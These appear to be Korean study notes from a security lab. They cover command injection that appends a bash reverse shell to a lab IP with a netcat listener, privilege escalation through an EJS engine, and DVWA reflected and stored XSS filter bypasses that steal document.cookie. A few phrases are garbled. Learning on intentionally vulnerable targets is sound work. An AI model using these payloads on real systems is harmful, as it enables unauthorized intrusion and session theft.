sudo vi /etc/hosts → dns 설정

date? format = (...)
↳ 옵션과 방식 찾기

해당 목적은 date (...) 입력형식

(...) ⇒ ; bash -c 'bash -i >& /dev/tcp/192.168.16.120/5555 0>&1' 앞으로 이부분 입력

→ 서버에서 date; bash -c 'bash -i >& /dev/tcp/192.168.16.120/5555 0>&1' 실행

kali에서 sudo nc -lvnp 5555 입력

→ reverse bash shell 완료

권한상승

ejs engine addr : 127.0.0.1 port : 8080

↳ ejs 취약점을 이용해서 다시 reverse shell.

GTFOBins → 각종 공격코드 생성 사이트

DVWA XSS(Reflected)

Low

→ 그냥 script 구문만 넣으면 성공. 입력값에 대한 검증 X

Medium

<script> 문자열 → 공백으로 변환

→ <scr<script>ipt> alert(document.cookie)</scr<script>ipt>

↳ 공백 ↳ 공백

High

preg_replace + <script 문자열 필터링

<img src=x onerror=alert(document.cookie)>

Impossible

htmlspecialchars 함수 → 특정 특수문자를 HTML 인터티로 변환

+ A와 또로 구성성

<? → 함께 여러 변환되어서 적용됨.

XSS (stored)

Low

→ script 구문 그대로 입력

Medium

→ htmlspecialchars 함수로 특수문자 변환 / <script> 문자열 str_replace 로인해 공백처리

클라이언트에서 name 입력길이 제어 → 100으로 수정

image src도 ㅅㄷ

High

→ Medium과 동일

Impossible

→ 입력 / 조회시에도 htmlspecialchars를 이용해 특수문자 변환

Insecure CAPTCHA

CSRF (Cross-site request forgery)